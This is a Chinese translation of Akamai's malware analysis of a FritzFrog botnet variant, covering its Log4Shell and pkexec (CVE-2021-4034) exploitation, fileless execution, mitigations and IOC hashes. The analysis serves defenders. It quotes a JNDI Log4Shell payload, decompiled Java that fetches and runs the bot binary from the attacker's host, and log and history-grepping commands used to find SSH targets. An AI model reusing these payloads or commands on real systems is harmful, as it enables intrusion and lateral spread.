执行摘要
Akamai 安全情报组 (SIG) 发现了 FritzFrog 僵尸网络新变种的详细信息,该变种滥用 2021 Log4Shell 漏洞。
多年来,我们已经目睹了超过 20,000 起 FritzFrog 攻击事件,以及超过 1,500 名受害者。
该恶意软件通过暴力破解弱 SSH 凭据来感染面向互联网的服务器。较新的变体现在会读取受感染主机上的多个系统文件,以检测很可能易受攻击的潜在攻击目标。
该漏洞以暴力方式利用,试图针对尽可能多的易受攻击的 Java 应用程序。
该恶意软件现在还包含一个利用CVE-2021-4034 的模块,这是 polkit Linux 组件中的权限升级。该模块使恶意软件能够以 root 身份在易受攻击的服务器上运行。
我们在这篇博文中纳入了妥协指标 (IOC) 和其他缓解措施,以帮助预防 FritzFrog 感染。
FritzFrog的背景
Akamai 正在通过我们的全球传感器网络持续监控威胁,包括我们之前发现的威胁。其中包括FritzFrog 僵尸网络(最初于 2020 年识别),这是一个复杂的、基于 Golang 的点对点僵尸网络,经过编译以支持基于 AMD 和 ARM 的机器。该恶意软件经过积极维护,多年来通过添加和改进功能不断发展。
FritzFrog 传统上使用 SSH 暴力破解,多年来已成功入侵数千个目标。每台受感染的主机都成为 FritzFrog 网络的一部分 - 它与受感染的对等主机进行通信以共享信息、有效负载和配置。
由于持续的维护,该恶意软件在其武器库中包含了许多有趣的功能,包括我们将在本博客中讨论的附加功能,例如Log4Shell 漏洞利用的介绍。例如,它试图避免接触磁盘以限制检测机会,支持通过 TOR 进行通信,甚至具有杀死竞争恶意软件的“防病毒”模块。
使用 Log4Shell 作为感染媒介
传统上,FritzFrog 依靠 SSH 暴力作为其唯一的感染媒介,但该恶意软件的最新版本现在包含了一个新的媒介:Log4Shell漏洞利用,在我们的池塘中被称为最酷的“Frog4Shell”。
Log4Shell 漏洞最初于 2021 年 12 月被发现,并引发了持续数月的全行业修补热潮。即使两年后的今天,许多面向互联网的应用程序仍然容易受到此漏洞的攻击。
脆弱的面向互联网的资产是一个严重的问题,但 FritzFrog 实际上对另一种类型的资产(内部主机)构成了风险。当漏洞首次被发现时,面向互联网的应用程序被优先进行修补,因为它们存在重大的妥协风险。相比之下,不太可能被利用的内部机器经常被忽视并且未打补丁——FritzFrog 利用了这种情况。
作为其传播例程的一部分,该恶意软件尝试以内部网络中的所有主机为目标。它通过调用net__Interface_Addrs标准 Go 函数来识别可到达的子网并定位每个子网中可能的地址来实现此目的。在图 1 中,我们可以看到恶意软件尝试连接到本地网络中的所有地址。
图 1:FritzFrog 扫描本地网络以识别目标
这意味着,即使“备受瞩目”的面向互联网的应用程序已被修补,FritzFrog 对网络中任何资产的破坏也可能使未修补的内部资产暴露于漏洞。
FritzFrog 通过在端口 8080、8090、8888 和 9000 上查找 HTTP 服务器来识别潜在的 Log4Shell 目标。要触发该漏洞,攻击者需要强制易受攻击的 log4j 应用程序记录包含有效负载的数据(表 1):
${jndi:ldap:///}
表 1:Log4Shell 负载示例
此有效负载由易受攻击的 log4j 库错误解析,它强制 Java 应用程序连接到“attacker_address”中指定的 LDAP 服务器,从中下载 Java 类并执行它(图 2)。
图 2:Log4Shell 的一般利用流程
FritzFrog 尝试通过 HTTP 标头注入有效负载来利用此漏洞(图 3)。它以一种有趣的方式做到这一点——FritzFrog 并没有试图精确地瞄准特定的 HTTP 标头,而是几乎瞄准了所有标头。
图 3:FritzFrog Log4Shell 漏洞嵌入在各种 HTTP 标头中
FritzFrog 在众多 HTTP 标头中发送 Log4Shell 有效负载,希望应用程序至少记录其中之一。这种强力利用方法旨在成为一种通用的 Log4Shell 利用方法,可以影响各种应用程序。
图 3 中所示的注入有效负载使应用程序连接回 FritzFrog 自己的 IP 地址 - 恶意软件托管其自己的 LDAP 服务器,用于为恶意 Java 类提供服务。执行后,Java 类将通过 HTTP 连接到攻击计算机,以下载名为“robots.txt”的恶意软件二进制文件(表 2)。
String ff_host_http_server_address = ff_host_http_server_address.trim();
payload_url = new URL("http://" + ff_host_http_server_address + "/" +
ff_username + "/robots.txt");
payload_url_stream = payload_url.openStream();
表 2:下载 FritzFrog 二进制文件的反编译 Log4Shell Java 负载
“robots.txt”文件以“ifconfig”名称保存。然后,Java 类将执行 ifconfig 二进制文件并删除该文件(表 3)。
FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
ff_payload_file.write(var2.toByteArray());
ff_payload_file.close();
ff_payload_file_exec = new File(paths[counter] + "ifconfig");
ff_payload_file_exec.setExecutable(true);
Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
if (ff_proc.waitFor() == 0) {
ff_payload_file_exec.delete();
return;
}
表 3:执行 FritzFrog 二进制文件的反编译 Log4Shell Java 负载
图 4 说明了 FritzFrog 使用的 Log4Shell 漏洞利用流程。
图4:FritzFrog Log4Shell利用过程
SSH目标发现方法
除了添加 Log4Shell 漏洞之外,FritzFrog 还提高了识别其主要感染媒介(SSH 暴力)目标的能力。在继续以随机生成的 IP 地址为目标的同时,FritzFrog 现在还将尝试通过枚举每个受害者的多个系统日志来识别特定的 SSH 目标。
验证日志
Linux auth.log文件包含有关计算机连接的信息等。 FritzFrog 通过扫描这些日志并查找 IP 地址来定位网络中的活动客户端。为了访问数据,恶意软件执行以下命令:
cat /var/log/auth*
zcat /var/log/auth*
这些命令将输出所有明文和压缩日志文件的内容。
SSH 已知主机
当主机连接到远程 SSH 服务器时,连接信息会自动保存到~/.ssh/known_hosts文件中。 FritzFrog 将提取这些主机的地址并定位它们。
这为恶意软件提供了活动且可访问的 SSH 服务器的列表。此外,由于这些服务器可能与受感染的服务器由同一所有者管理,因此它们也可能共享类似的弱密码。
历史档案
在 Linux 系统上执行的所有命令都保存在称为历史文件的特殊日志中。 FritzFrog 尝试通过执行以下命令来识别以前的 ssh 和 scp 连接:
history | grep -E \"(scp|ssh)\"
然后,FritzFrog 将从这些命令中提取 IP 地址并将其作为目标。与known_hosts文件类似,它可以提供活动且可访问的SSH服务器的列表。
权限提升
我们观察到的另一个变化是恶意软件增加了权限升级功能。在初次执行时,FritzFrog 将检查其进程的权限。如果执行用户不是 root,则会调用名为“main_RunBlasty”的函数(图 5)。
图 5:FritzFrog 确定进程不是以 root 身份运行并执行“main_RunBlasty”函数
“RunBlasty”函数首先执行“ which ”命令——该实用程序可以定位系统上其他命令的完整路径(图 6)。
图 6:FritzFrog“which”命令执行
我们可以看到恶意软件尝试查找pkexec二进制文件的位置。 (敲响任何与漏洞相关的警钟,又名 vulneraBELLities?)
然后,恶意软件提取嵌入其自身可执行文件中的两个文件(图 7);文件存储为字符串,即 Base64 编码的 gzip 压缩文件。提取的文件称为blasty和payload。所以。
图 7:提取恶意软件二进制文件中嵌入的文件
创建文件后,FritzFrog 执行blasty——一个用 C 编写的 ELF。如果我们看一下它的代码,我们会发现它非常简单——与环境变量进行一些交互,然后执行 pkexec (图 8) 。
图8:blasty反汇编代码
搜索这些字符串会立即引导我们找到CVE-2021-4034的漏洞利用代码。Qualys 于 2022 年披露了polkit Linux 组件中的此漏洞,该漏洞可能允许在任何运行 polkit 的 Linux 计算机上进行权限升级。由于它默认安装在大多数 Linux 发行版上,因此许多未打补丁的机器今天仍然容易受到此 CVE 的攻击。
该漏洞利用pkexec是一个 SUID 程序这一事实来发挥作用;也就是说,即使由弱用户执行,它也会以 root 权限运行。该漏洞可以强制pkexec加载并执行攻击者控制的库,从而导致以 root 身份执行代码。
Blasty利用该漏洞,使pkexec加载并执行payload.so。正如我们在图 9 中看到的,该库会将进程的 uid 和 gid 设置为 0,即 root,并执行root_update — FritzFrog 的二进制文件。
图 9:payload.so 以 root 身份执行 FritzFrog
另一个有趣的注意事项是,blasty和Payload.so都是针对 AMD64 架构编译的,甚至适用于在 ARM 上运行的 FritzFrog 变体。这意味着该漏洞将无法在任何不在 AMD64 CPU 上运行的计算机上运行。
防御规避
FritzFrog 继续采用策略来保持隐藏并避免被发现。特别是,要特别小心,尽可能避免将文件删除到磁盘。我们已经看到开发人员使用两个 Linux 功能来实现此目的:/dev/shm和memfd_create。
/dev/shm
第一种技术使用/dev/shm文件夹(shm表示共享内存),该目录旨在实现系统上不同进程之间的高效通信(图 10)。虽然它看起来像一个普通的文件系统文件夹,但/dev/shm实际上直接映射到 RAM,并且在其下创建的所有文件实际上从未接触磁盘。
FritzFrog 使用此文件夹通过写入文件并从/dev/shm执行它们来启用无文件执行。为了监视此活动,我们可以执行恶意软件并使用inotifywait实用程序来检查/dev/shm中的文件操作。我们看到恶意软件向该目录写入了多个文件;例如,在图 8 中,恶意软件在执行之前将所有pkexec漏洞利用文件写入 / dev/shm 。
图 10:监控 FritzFrog 文件对 /dev/shm 目录的访问事件
创建memfd
第二种技术使用memfd_create函数,在手册页中描述如下:
memfd_create() 创建一个匿名文件并返回引用它的文件描述符。该文件的行为类似于常规文件,因此可以进行修改、截断、内存映射等。然而,与常规文件不同的是,它存在于 RAM 中。
因此,与之前的技术类似,我们获得了一种无需接触磁盘即可创建文件的便捷方法。 FritzFrog 在执行其矿工有效负载时使用此技术(图 11)——它将有效负载写入由memfd_create创建的匿名文件中并执行它。
图 11:FritzFrog 使用 memfd_create 将矿工负载写入匿名文件
缓解措施
我们建议采用以下两种缓解策略:使用网络分段并检测常见的恶意软件策略、技术和程序。
网络分段可以通过防止横向移动来限制 FritzFrog 的潜在影响。基于软件的分段可以是一种相对简单的解决方案,具有持久的防御影响。
我们提供了一个在 SSH 服务器上运行的FritzFrog 检测脚本,用于查找以下 FritzFrog 指标:A。正在运行名为nginx、ifconfig、php-fpm、apache2 或 libexec 的进程,其可执行文件不再存在于文件系统上(如下所示)b.监听1234端口
结论
攻击策略的转变是2023 年威胁行为者的主要趋势——单日攻击和零日攻击被广泛使用,并被证明是侵入组织的最有效方法之一。
FritzFrog 在其武器库中增加了开发能力,这表明了朝这个方向的类似转变。滥用 Log4Shell 漏洞的附加感染向量和 pkexec 漏洞利用模块是本博客文章中探讨的两个附加内容,它们体现了这种转变。我们相信这种趋势将在即将推出的 FritzFrog 版本中继续下去,并且向恶意软件中添加其他漏洞可能只是时间问题。
国际奥委会
FritzFrog Binary
AMD
f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d
ARM
fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291
Log4Shell 负载
52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8
“Blasty” pkexec 漏洞
Blasty
85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01
Payload.so
0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248
参考链接: https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell
图片来源网络目标可联系删除